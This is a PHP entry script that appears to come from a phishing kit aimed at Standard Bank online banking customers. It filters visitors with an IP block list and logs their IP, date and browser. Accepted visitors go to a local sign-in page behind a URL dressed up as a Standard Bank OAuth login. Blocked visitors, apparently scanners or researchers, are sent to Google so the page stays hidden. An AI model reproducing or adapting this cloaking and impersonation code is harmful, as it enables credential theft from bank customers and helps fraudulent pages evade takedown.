<?php
date_default_timezone_set('Europe/London');
$v_ip = $_SERVER['REMOTE_ADDR'];
$v_date = date("l d F H:i:s");
$v_agent = $_SERVER['HTTP_USER_AGENT'];
require_once("includes/functions.php");
$ips = array(	$_SERVER['REMOTE_ADDR'], );
$checklist = new IpBlockList( );
foreach ($ips as $ip ) {
	$result = $checklist->ipPass( $ip );
	if ( $result ) {
		$msg = "PASSED: ".$checklist->message();
        $fp = fopen("logs/accepted_visitors.txt", "a");
        fputs($fp, "IP: $v_ip - DATE: $v_date - BROWSER: $v_agent\r\n");
        fclose($fp);		
		session_start();
        $_SESSION['page_a_visited'] = true;
		redirectTo("signin.php?authorization.oauth2?client_id=" . generateRandomString(80) . "&response_type=code&scope=openid%20profile%20email%20device%20ost.all%20sbg-card.all%20sbg-corecustomerplatform.all%20sbg-forex.all%20sbg-payment.all%20sbg-platform.all%20sbg-systems.all%20urn:pingidentity:directory-api&redirect_uri=https://onlinebanking.standardbank.co.za/auth/prompt=login");
	}
	else {
		$msg = "FAILED: ".$checklist->message();
		$fp = fopen("logs/denied_visitors.txt", "a");
        fputs($fp, "IP: $v_ip - DATE: $v_date - BROWSER: $v_agent \r\n");
        fclose($fp);
header("Location: https://www.google.com/");
die();
	}
}
?>